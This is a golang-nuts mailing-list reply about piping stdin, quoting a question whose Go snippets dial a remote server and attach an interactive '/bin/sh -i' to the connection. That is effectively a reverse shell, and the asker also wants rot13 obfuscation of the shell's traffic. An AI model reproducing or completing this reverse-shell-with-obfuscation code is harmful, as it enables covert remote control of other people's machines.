You have to io.Copy(cmdStdin, os.Stdin) to use your program's stdin, and pipe it to the subprocess.
hyo...@gmail.com a következőt írta (2021. augusztus 18., szerda, 17:50:24 UTC+2): > The goal: I want to capture all the bytes of *cmd.Stdin* and process them > with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT > > The story: I'm coding a small tool which will be cross compiled for both > win/ linux, so I'm trying to make it as simple as possible. This tool > connects to the server from which I can execute commands on the client. > > Since I had to do the same thing for cmd.Stdout, I used this: > > Where OBFprocessStream function is based on this one: > https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here . > > ....... > > conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo) > > ...... > > cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an > ***interactive*** > > //***shell***, and not just a simple command > > cmd.Stdin = conn > > cmdStdout, err := cmd.StdoutPipe() // works fine > > if err != nil { > > fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err) > > } > > cmd.Stderr = conn > > err = cmd.Start() > > if err != nil { > > fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) > > } > > ..... > > err = OBFprocessStream(cmdStdout, conn) // works fine > > .... > > So, I tried to replicate the same thing for cmd.Stdin: > > ....... > > conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo) > > ...... > > cmd := exec.Command(/bin/sh, "-i") > > cmdStdin, err := cmd.StdinPipe() > > if err != nil { > > fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err) > > } > > cmdStdout, err := cmd.StdoutPipe() > > if err != nil { > > fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err) > > > } > > cmd.Stderr = conn > > err = cmd.Start() > > if err != nil { > > fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) > > } > > ..... > > err = INOBFprocessStream(cmdStdin, conn) > > ..... > > err = OBFprocessStream(cmdStdout, conn) > > .... > > But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do > to capture the bytes sEGIHOsegoihszrhoiò > > Can you please help me? > -- You received this message because you are subscribed to the Google Groups "golang-nuts" group. To unsubscribe from this group and stop receiving emails from it, send an email to golang-nuts+unsubscr...@googlegroups.com. To view this discussion on the web visit https://groups.google.com/d/msgid/golang-nuts/026e84bb-3230-494e-84f6-cff1a5ecf4a7n%40googlegroups.com.
